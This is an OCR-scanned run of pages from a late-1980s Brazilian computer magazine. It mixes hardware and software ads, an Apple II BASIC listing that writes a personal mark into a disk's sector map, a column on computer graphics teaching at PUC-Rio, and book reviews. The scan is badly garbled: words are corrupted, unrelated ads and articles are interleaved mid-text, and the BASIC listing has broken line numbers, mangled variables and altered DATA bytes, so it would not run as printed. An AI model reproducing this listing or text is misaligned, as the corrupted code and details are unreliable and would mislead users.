44678 CLS:PRINT"PARABENS, VOCE RCERTOU ' *

NS A CASA DO
>N SOFTMIARK CP500 » P40 «

Qualidade e prazos assegurados.

E MSX

Na SOFTMARK, os usuarios de micros pessoais
tém atendimento especial em todas as linhas
de computadores. Comprove!

Se vocé mora em Sio Paulo, visite o nosso
show room: Rua Ezequiel Freire, 565
(2100 metros do metré Santana).
ou se preferir utilize o nosso Servigo ]
de Atendimento ao Cliente SOFTMARK. E s6 ligar:
(011) 290-8577.

A SOFTMARK pée a sua disposicdo um catalogo
com toda nossa linha de produtos. Receba
0 seu inteiramente gratis. Escreva-nos
especificando qual o seu micro e receba o seu
catalogo em sua casa, sem qualquer despesa.

* Drive 51/4

¢ Cartao 80 colunas

* Megaram 256 kb

® O Incrivel Sistema Operacional PRONTO-DOS
* Aplicativos e Jogos em Fita e Disco

Gravamos jogos em disco na hora

¢ Aplicativos e jogos em fita cassete

® Linha completa de Aplicativos com destaque para
DATABASE-PLUS, um programa que permite a
geracao de varios aplicativos.

® Exclusivo Joystick Digital (fabricagio prépria)
¢ Linha completa de Aplicativos e Jogos em fita cas- |
sete

A
=)

Rua Ezequiel Freire, 565

{a 100 metros do metrd Santana)
CEP 02034 — Sao Paulo — SP
Fone (011) 290-8577

¢ Aplicativos e Jogos em fita cassete

SUPER ECONOMIA
Na SOFTMARK vocé encontra tudo para o seu
micro pelo menor prego e sem despesas de cor-
reios. Produtos com garantia total. Prazo de en-
trega em no maximo 10 dias lteis.
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EDITOR DE VIOC

Vocé certamente ja deve ter visto dis-
c0s que apresentam no seu mapa de seto-
res 0 nome de um programador, clube de
usuarios ou softhouse, o que causa um efei-
to bastante interessante. O programa a se-
guir permite que vocé crie e grave num dis-

MAIS UM LANCAMENTO, MOD. £X

discrimina os sinais dos ruidos e chiados

y3aval 43dns

X S

W Y REES O

Pt AWAIDED HOGWE SATIDRE

QUASE UM DRIVE!

O SUPER LOADER é um periférico ccllue

contidos nas fitas e os entrega ao micro na
forma de DADOS DIGITAIS, isento de
erros, com qualquer cassete, qualquer volu-
me mesmo com o azimute desalinhado.
FORMAS DE PAGAMENTO:
a) nio pague agora, somente ao retirar nos
correios Preco:=98 BTNF’s; b) ordem de
pagamento ou depésito em conta, 15% de
desc. Avise-nos; c) cheque comum nominal
e cruzado, 5% de desc.; d) financiado, con-
sultar previamente;

2 parc. iguais e fixas — 55 BTNF’s

3 parc. iguais e fixas — 40 BTNF’s

considera-se o BTNF do dia do pedido.
Despachamos para qualquer lugar do pais
em 24 horas, via SEDEX.
Pedidos p/ Espacial Eletrénica Ltda.
Rua Guia Lopes, 140 - Fone:(067)382-4750
Cep 79020 — CAMPO GRANDE — MS.

Jodo Paulo H. Cavalcanti de Andrade

co a sua marca personalizada. Todas as ve-
zes que 0 mapa de setores desse disco for
verificado, sua marca sera mostrada. Além
da personalizacéo ficar bastante bonita, ela
dificilmente poderé ser apagada, preservan-
do assim seus direitos autorais sobre o
disco.

O programa apresenta um quadricu-
lado onde vocé devera desenhar sua mar-
ca. Para tanto basta mover o cursor usan-
do as teclas |, J, K e M; para mudar o esta-
do de um ponto, tecle espago. Quando sua
marca estiver pronta tecle G para grava-la no
disco, que devera estar no drive 1.

Atencao: este programa modifica o
mapa de setores do disco, portanto nada de-
vera ser gravado depois de feita a modifica-
¢ao - caso contrario a nova informagao po-
dera cobrir a anterior. Use o programa ape-
nas em discos prontos, onde nao serao gra-
vadas novas informacoes.

Além de personalizar o disco, voce

SHOW Disk SFACE MAP
-00
-25
- 350
TS
HEX 000000000000000011111111111111112222
TRE 0123456789ABCDEF0123456789ABCDEFOLZS

ERERAARAA-R-R-FR-F-F-AR-F-H-HR-H-REHG
TEEE- - - BE-H-F-RE-R-R-RE-H-R-WR-F-HERT
SRRR-F-FE-R-F-HE-E-#--—-H-B-WE-H-HEHS
SERE-B-ER-F-R-RR-R-REEREH-E-HE-S-EEE
ARER-F-BE-F-F-88-B-F-———H-H-HE-F-EEHA
ERSER-R-HR-B-B-BR-RB-H-HE-H-R-3N-H-HEHB
CRER-F-————#-F-———H-H-FE-¥-F--—-F-#84C
DESE- -#RRR- -~ BHAE -~ F-#E-H--HHER-~HEED
#*

FRESS SPACE TO CONTINUE

podera usar o programa para criar discos
com mais espacos, sem DOS. Para isto bas-
ta apagar as trilhas 1 e 2 do mapa.

Boa sorte!

100 REM EDITOR DE VTOC

110 REM JOAO PAULO HOLANDA

120 REM

130 LOMEM: 10000: FOR I = 8192 TO
8227: READ ¥: POKE I,X: NEXT
I: DATA 169,32,160,10,32,21
7.3.96.8,255,1,96,1,0,17.0,3
2.32,0,33,0,0,1,9,254,96.1,8
.8,255,255,8.0,1,239,216: DIM
CO(35,16),N(140) :H$ = "01234
SE785ABCDEF":C = 1:L = 1: FOR
I =1 TO 35:BE% = B + "-":1C#
= C$ + "+"1 NEXT I

170 HOME : FPRINT "EDITOR DE VTO
© / JOAD PAULO HOLANDA“: HTAB
19: VTAB 3: PRINT “1" SPC( 1
S)"2": HTAB 3: VTAB 4: PRINT
H#H$"012": HTAB 3: VTAB S: PRINT
B¥: FOR I = 1 TO 16: HTAB 1:
VTAB 5 + I: PRINT MID$ (H$
»I,1771"CHzz NEXT

230 VTAB S5 + L: HTAB 2 + C: GET
Af:L = L - (A% = "I" AND L >
1) + (A% = "M" AND L < 18):C
=C - (A$ = “J" AND C > 1) +
(A% = “K" AND C < 3%): IF A$
= n = THEN POKE 50,255 - 1
92 * (CO(C,L) = 0): PRINT "+
":COLC, L) = (CO(C,L) = 03

270

280

340

ON A% = "G" GOTO 2803 GOTO

230

NORMAL : HTAE 1: VTAB 23:; PRINT
"CONTINUA (S/N) ? “51 GET AS

1 ON A$ = "N" GOTO 230: ON A

% < > "S" GOTO 280: HTAB 11
'WVTAB 23: PRINT SPC( 40)p3 FLASH
1 HTAE 1: VTAB 231 PRINT “AG
UARDE": NORMAL : FOR C = 1 TO
BS:N(IC - 1) * 4 + 1) = 255 -
(128 * CO(C.16) + &4 * CO(C,

15) + 32 * CO(C,14) + 16 = C
0(C,13) + 8 * CO(C,12) + 4 *
CO(C,11) + 2 ® CO(C,10) + 1
cO(C, o))

NC(C - 1) * 4 + 2) = 258 - (
128 * COI(C,8) + &4 * CO(C,7)

+ 32 *= CO(C,6) + 16 * CO(C,

S5} + B * CO(C,4) + 4 % CO(C,

3) + 2 * CO(C,2) + 1 * COCC,
133:NECC - 1) % 4 + 3) = 255
TNGIC — 1) * 4 + 4) = 255: N2
C: POKE 8206,17: POKE 8207,0

: POKE 8214,1: CALL S192: FOR

I = 1-T0 140: POKE 8503 + I,
N{I}: NEXT I: POKE 8206,17: POKE
8207,0: POKE 8214,2: CALL 81

92
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MS servicos

SHOW ROOM DO MSX
EM CAMPINAS
COMPRA E VENDA: MICROS E
PERIFERICOS PARA MSX
ASSISTENCIA TECNICA PARA MSX
SOFTWARE: APLICATIVOS E
UTILITARIOS
NOVIDADE PARA
CPU EXPERTI!l
COLOCACAO DE DRIVE 5 1/4
NACPU
COLOCACAO DE DRIVE 3 1/2
NA CPU

INSTALACAO DE BOTAO DE
RESET

NOVIDADES EM
HARDWARE PARA MSX

INTERFACE COM 24 CANAIS DE
SAIDA NIVEIS LOGICOS TTL
MONITORIZADAS POR LEDS
PROGRAMAVEL POR SOFTWARE

MICRODATA INFORMATICA
AV. FRANCISCO GLICERIO, 297 5L 82
CEP: 13010 — CAMPINAS — 8P
— TEL: (0192} 31-9766

DATEX

Made in Brasil

MONTE VOCE MESMO!
Envie nome, endereco e receba o DA-

Gabinetes tipes basculante e gaveta pa-
dréo PC-XT. Fonte de 150W/190W. Mo-
nitores MDA-Hércules e CGA-RGB. Te-
clado ergonométrico, incli MANUAL
DD USUARID e todos os acessdrios pa-
ra montagem. :

DATEX Ltda. CGC 27297977/1-79
Av. 28 de Setembro, 3737710
20651, Rio de Jangiro, RJ

Conyright (€ 1987
Tel. (021) 2088539 wyrght ©

by DATEX Lida

Leia

Im‘orMAC[\oe

Um jornal bimestral que contém:
dicas de software e hardware
comentarios de jogos

listagem de programas = pesquisas
curiosidades e atualidades
divulgacao de artigos de leitores
consultoria e assisténcia técnica
correspondéncia entre leitores ==
enfim, tudo relacionado com APPLE
Somos um jornal ligado em rede

Dysan’

Agora mais perto
de vocé...

=1}

Integre-se @ nossa

com o leitor Rede de Distribuidores
Informe-se:
inforMACAo ALLDATA COM. EXTER. LTDA.

Rua Uruguaiana, 118/3° And
Rio de Janeirg - RJ CEP 20050
Tel.: (02)222-5000 - Telex: 2137749

Caixa Postal 68741
02095 — S3o0 Paulo — SP

SOFTCLUBES|

A Solucdo em Software |

APPLE CLUBE ‘

O Clube dos ususrios de APPLE

O masor acervo, de programas com qua-

se 3000 tituios & sua disposicBo. ARm |
disso, temos o APPLE NEWS, um jornal I
mensal com as novidades do clube e que |
Sefve Como mew de comunicaclo entre ]
08 306Ci08 para troca de nformacdes.

PC CLUBE |'

O Clube dos usuérics do IBM-PC. Com
mais de 2.000 discos com as dGitimas no-
vidades do mercado internacional.
Mensaimente temos o PCNEWS, um ca- :
nal dg comunicacBo entre os 80Cios com
|odu.s.infnrm06n sobre 0 mundo dos ‘
186 BITS. |

SOFTCLUBES

Caixa Postal 12190 CEP 02028
Tel.: {011) 289-1188 SAD PAULO SP

ATENDIMENTO INSTANTANEO (2hs.)

ASSISTENCIA TECNICA

Especializado na 4rea com 5 anos de
experiéncia em manutencio de:

MICROS ¢ REDES LOCAIS * MONITORES
E PERIFERICOS

Contratos de Manutencfio a partir de 50 BTNs
Laboratério préprio

ligue j& e comprovel

TEL.: 299.1166

UTILIZE
ESTE
ESPACO!

A MICRO SISTEMAS
oferece a seus

clientes este servigo
especial.

Com esta opgdo de
espaco e custo,
ninguém vai deixar de
anungciar.
Consulte-nos pelo
telefone 262-6306 ou
(011) 887-3389

Sist

E HORA DE
ASSINAR

/Micro

Sdo sete anos de lideranca no mercado

tempo e assine logo MICRO SISTEMAS.
Com ela vocé poders participar de tudo o

ca que fizeram de MICRO SISTEMAS uma revista indispensavel para
0s possuidores de microcomputadores. Sendo assim néo perca mais

mente importante no setor de informética. Séo dicas, programas
e novidades que ndo podem faltar na estante do leitor exigente.

editorial de informati-

que acontece de real-

Estou enviando o cheque n® _ no valor
ATl EDITORA LTDA .,

MICRO SISTEMAS

referente a uma assinatura anual (12 numeros) de

de NCZ$300,00 nominal &

NOME:
ENDERECO:
CEP: CIDADE: __UF: TEL: © el
PROFISSAO: DATA/NASCIMENTO_____ /¢
EQUIPAMENTO" DRIVE:
INTERFACE: IMPRESSORA:
DATA: / / ASSINATURA:
l ATl — Anélise, Teleprocessamento e Informética Editora Ltda.

Av. Presidente Wilson, 165 — Gr. 1210

262-6306

eMmas

Rio de Janeiro — RJ — CEP 20030 — Tei.: {021)




ompuitacdo

grafica

Nna PUC-RIo

O diretor do Departamento de Enge-
nharia Mecanica da PUC-RIO, prof. Pedro Ca-
rajilescov esté plenamente convencido de
que a computacao grafica veio para ficar e
ja esta substituindo as pranchetas de dese-
nho. Depois de acertar os detalhes para a
adaptacao do programa de desenho, ele
apresentou a proposta de modificacao do
curriculo de graduacao ao corpo doscente
do departamento.

O prof. Pedro, na sua proposta de mo-
dificagao confirma que: “a computagéo gra-
fica sera introduzida ainda no ciclo basico,
para os alunos de mecénica, através da
transformacao da disciplina Geometria Des-
critiva, na disciplina Desenho Técnico II, on-
de os conceitos de Geometria Descritiva se-
rao dados antes da utilizagao de um progra-
ma CAD (desenho acompanhado por com-
putador). Esta iniciacao permitira que os alu-
nos facam a disciplina Desenho de Maqui-
nas, utilizando estacoes graficas no lugar de
prancheta. Além disso, como 0 computador
€ a coqueluche do momento, 0s estudan-

Nilson B. Monteiro

tes poderao ver que também podemos usar
na engenharia mecanica, 0s recursos da
computacéo grafica”

O objetivo principal é adaptar ao en-
sino tradicional de desenho as novas técni-
cas de representagao com o auxilio da com-
putacao gréafica, visando uma melhor ade-
guacgao da disciplina a realidade profissio-
nal dos alunos de graduagao do curso.

No Rio trata-se de uma iniciativa pio-
neira no campo da engenharia, visto que no
Departamento de Artes da PUC-RIO a com-
putacao grafica ja faz parte do curriculo ha
algum tempo, introduzida pelo seu diretor
prof. Elmer Barbosa.

O curso visa também dar ao futuro
profissional que ira trabalhar com projetos
gue tenham componentes graficos, uma vi-
S&0 clara e objetiva de como a computacao
pode auxiliar neste tipo de trabalho.

O curso sera eminentemente préatico
e 0s alunos terao pleno acesso ao labora-

torio de computacao, que ja esta prepara-
do, nao so para as aulas como também pa-
ra a execucao de experiéncias e trabalhos.

Sem necessitar de nenhum conheci-
mento prévio de computacao, 0s alunos te-
rao ICC (INTRODUCAO A CIENCIA DOS
COMPUTADORES), Desenho Técnico Basi-
co e introdugao a Geometria Descritiva.

As aulas serao dadas no laboratorio
de computagao anexo ao departamento e
0s alunos estarao divididos em grupos de
dois ou trés, no maximo, por computador.
Usaremos para as aulas um programa do ti-
po CAD, para a producao de desenhos bi e
tri-dimensionais, a partir dos elementos bé-
sicos: linhas, circulos, poligonas, elipses, etc.

O prof. Pedro e a PUC-RIO estao de
parabéns por esta iniciativa pioneira. Que ela
sirva de exemplo para outras faculdades,
nao s6 no Rio, como também em outros es-
tados gue ainda desconhecem ou duvidam
dos recursos e das vantagens da computa-
cao grafica.

==V

CFRFEN CLUB mMSi:

DE INFORMBTICO
RIC J3IRCLIFE SES,E2010
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ES « B ¥ ] RS 3ikb 00
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SRLICITE ROS30 ROLETIN IATEIRRMENTE SRATIS
SUFTS, HARD, DICHS, MACETES, REPORTRSENS,
EXQUENAS, MAPAS DE JOe0s, HUSICAS, ALEM DE
fOSSGS PRODUHTOS B PRECOS ESPECIRIS,




Desenno de autoria de
Liberati do JB,
reproduzido com os
recursos oferecidos
pela computagdo
Erafica.

Claude Lefort

SEMINARIO DE COMPUTACAO
GRAFICA E AUTOMACAO

O Departamento de Engenharia Me-
canica da PUC-RIO estara oferecendo aos
interessados, Seminario sobre Computagao
Eraficae automacao, a partir de 2/10/89 com
término previsto para 20/11/89, todas as se-
gundas feiras a partir das 16:00 horas,

Vérios assuntos serdo abordados por
conferencistas do Departamento de Enge-
nharia Mecanica e do Rio Dara Centro:

06/11 - otimagdo de encaixes: dificul-
dades e projecoes:

13/11 - um algoritmo hibrido para a
geracao de imagens 3D:

20/11 - computagéo grdfica e gradua-
€30 - uma introducdoe a modelagem
geomeétrica.

DESENVOLVENDO SISTEMA DE cap
PARA A INDUSTRIA DO VESTUARIO

Um setor industrial gue vem sendo
particularmente beneficiado pela computa-
€30 gréfica é a inddstria de confeccao, on-
de o rapido estudo dos riscos que propor-
cionam uma maxima €conomia de material
€ fundamenta| Para a minimizacao dos
custos.

Antecipando-se a esta demanda po-
E=ncial, o Departamento de Engenharia Me-
canica sob a inspiracdo e coordenacao do
Srof. Solly A. Segenreich, iniciou, ha cinco
=10s, 0 desenvolvimento de um sistema de
CAD visando a soiucao deste problema.

Atualmente, o sistema, denominado
MODA-01 encontra-se disponivel para mi-
Crocomputadores da familia PC-XT/AT e vem
sendo comercializado pela VEGA Dados do
Rio de Janeiro,

Suas principais Caracteristicas s3o a
velocidade e a facilidade de utilizacao tor-
nando totalmente obsoletos os métodos de
texografia e a utilizacao de pantografos e
moldes de plastico reduzidos.

Uma etapa complementar que o sjs-
tema MODA-01 oferece, é g possibilidade de
obter o0s riscos em escala natural (1:1)
tornando-se desnecessario a sua cépia ma-
nual para o papel. Para tanto, utilizam-se tra-
¢adoras gréficas, (plotters) de grande por-
te para produzir desenhos com as dimen-
sdes requeridas,

Visando atender a €sta demanda, o
departamento de Engenharia Mecanica da
PUC/RJ passou g desenvolver uma tragcado-
ra gréfica paraa Producao deriscos, cujo pri-
meiro protétipo ests em fase de testes.

Uma proxima etapa serd a procura de
um parceiro para a industrializacdo deste
equipamento,

Como se v8, 3 Computacao grafica
esta definitivamente associada ao mundo
da moda.

Estou & disposicio dos interessados nesta co-
luna mensal da MICRO SISTEMAS, vig postal, ou
No curso onde leciono

(021) 262-5591, no Rio de Janeiro,

e B
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_ SOFTWARE
Em disquete (5 174 ou31/2) fita,
JOGOS:

Langamentos: Thunderblade, Obliterator,
Blasteroids, Super King’s Valley, etc.

JOGOS MEGARAM E 720 Ki:
Lancamentos: Aleste 2, Ash Guine, Xevious
Jagur, Dires, Chouka Taisen, Kind Gals,
Mon Mon Monster, Ryukyu e muito mais.

APLICATIVOS E UTILITARIOS:

Mala Direta, Editores de Texto, Agendas,
Contabilidade, Sistemas Gréficos, Editores
Musicais, Copiadores etc., com manual.

APLICATIVOS, TELAS E DEMOS PARA MSX 2.0
Print Master, Dynamic Publisher, Pixel 3,

Video Graphics, Disc Station, Amiga Demo,
Disc Pack, ¢ Compiler, Lipstick e outros.

PROGRAMAS NACIONAIS; somente em disco.
Frozzen, Aquarela, MSXTurbo,

Fastcopy, Emu, MSX Designer, Edtronics,
Sprite Maker, efc, *

LINGUAGENS: dBASE || PLUS, HOTLOGO,
TURBO PASCAL, COBOL, AZTEC C, ASSEMBLY

PERIFERICOS E SUPRIMENTOS |

Pelo menor Prego, a melhor qualidade
€ garantia de lang

® KIT MSX 2.0: Gratis 10 Super-Games!

* MEGA-RAMDISK DDX: Gratis 4 Mega-Games!
® Micros MSX EXPERT E HOTBIT

® DRIVE 5 1/4 DDX ¢/ 20 jogos Gréatis!
* DRIVE 3 /2 DDX ¢/ 20 jogos Grétis!
® KIT para Drive:

® Interface de Drive.
® Livros e Revistas = 80 Colunas.
® Multimodem e Fiirg de linha.

® Impressora LADY 80 o Disquete Box.

® Monitores Expansor de Slots,

® Disquetes 5 1/4 e 3 172,

e Capas para Micros, Drives, Impressoras,

Ndo deixe seu MSX "desanimar”
Vad correndo para a nova Avalion |

S
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7 (DS TEERTEAS E CIENTIECSS HOER

PROGRAMAGCAO E TECNICAS TURBO
PASCAL
VERSAO 4.0 (Incluindo a versao 5.0)

Maria Célia Arruda Grillo
Livros técnicos e Cientificos Editora Ltda.
348 paginas

Em sua segunda edicao, este livro
explora a operacao do sistema Turbo Pascal,
além de incluir conceitos necessarios a
compreensao da versao 5.0 recentemente
lancada pela Borland International.

Devido ao fato da versao 5.0 ter seus
fundamentos na versao 4.0, foi dada maior
énfase as caracteristicas desta Gltima,
constituindo assim uma importante base
para aqueles gue desejam trabalhar com a
versao 5.0, além de representar um estudo
comparativo com a versao 3.0, tornando a
evolugdo para as versdes mais recentes,
simples e agradavel.

A obra é composta de ensinamentos
minuciosos e sistematicos, o que a torna
uma obrigatoria fonte de consultas sobre a
versao 4.0 do Turbo pascal.

INTRODUCAO A0 PARADOX
Fernando Antonio de Paula Andrade
Livros Técnicos e Cientificos Editora
Ltda.

116 paginas

Este livro trata de um programa
gerenciador de dados de utilizacao
diversificada, desenvolvido pela Borland
International. O Paradox & apresentado de
forma bastante geral e introdutoria, mas ao
mesmo tempo suficiente para que 0 Usuario
possa desenvolver grande parte das
aplicacdes necessarias ao seu dia-a-dia.

O primeiro capitulo apresenta uma
introducgado sobre os bancos de dados em
geral e sobre o Paradox particularmente. O
capitulo seguinte poe o leitor em contato
com os elementos basicos para a operacao
do programa. O terceiro capitulo analisa
separadamente cada uma das opgoes dos
menus e sub-menus. O quarto capitulo
apresenta um quadro comparativo do
Paradox com o dBase Il e Lotus 1-2-3. No

quinto capitulo o autor tenta esclarecer as
davidas mais freqlientes, relacionando
perguntas e respostas. Complementam o
livro quatro apéndices com resumo/tabela de
referéncias, caracteristicas avancgadas do
Paradox e orientacdo ao usuario na digitagao
das tabelas-exemplos apresentadas no
decorrer da obra.

APLICACOES PRATICAS DO
CODIGO DE BARRAS
Vera Licia Pinheiro da Silva
Livraria Nobel S.A.
90 paginas

O codigo de barras € um processo
simples e seguro para automacao de entrada
de dados e controle da informagao. A sua
recente implantagao no Brasil vem
possibilitar maior agilidade e racionalizaggo -
de servigos além de uma significativa
economia de custos de administracao.

Esta obra, escrita de forma simples e
clara, além de trazer nogoes sobre a
normalizagcao e o processo geral de
produgao de codigo de barras, apresenta
ainda um estudo sobre suas diversas
aplicacdes na indlstria, comércio,
bibliotecas, hospitais, videolocadoras,
editoras, etc.

INTRODUCAO AO PC DOS

Bob Eager

Livros Técnicos e cientificos Editora
Ltda.

298 paginas

Abrangendo desde a simples
apresentagao até as versdes mais recentes
do PC DOS, o iniciante com este livro
aprendera a fazer funcionar e obter um
melhor aproveitamento do seu computador.

Escrito de forma bastante simples, o
livro contém indmeros exemplos e
aplicacoes praticas, além de um glossario
contendo os termos mais comuns
encontrados no decorrer da leitura.

Os topicos abrangidos no livro
incluem: introduc&o ao PC e ao seu DOS,
comandos do PC DOS, edi¢ao de arquivos,
localizacao de erros, ampliacao e atualizagao
de discos, e sistemas de computagao.

cidade.”

““O mais compativel, e o mais ETTEE
honesto dos IBM’s vocé so en- XIEL

contra na melhor revenda da EXTEC Informatica Ltda.

RUA DR. BACELAR N° 527

CEP 04026 — V. CLEMENTINO

TELEMARKETING (011) 571-3188
572-3547
549-3209

Microprocessador Intel 8088-2 (NEC V20 opcional) m Velocidade
de 4,77/8 MHz m Chaveamento de velocidade por software e hardware m
Meméria RAM de 640 KB ® Meméria ROM-BIOS de 8 KB =
Coprocessador matematico 8087 (opcional) m Controlador de
video CGA m Unidades de disco flexivel de 360 KB =
Unidades de disco rigido de até 80 MB = 8 slots (sendo 6 livres) m
= Interface Multi IO com 1 Porta Paralela CENTRONICS, 1 Porta Serial RS 232-C
(22 opcional), 1 reldgio e 1 game m Fonte de alimentagdo 110/220V
em 60 Hz m Monitor monocromético de 12 polegadas tipo PS/2
Teclado de 101 Teclas (12 fungoes). s




_ .Dispomvel em
31127 ou 51/47,

QUTROS APLICATWOS S

G fBERTRON

Diskete: P%anllha 20 :

- Controle de Estoque
Fita K7: MSX WORD

_"' Assembler :
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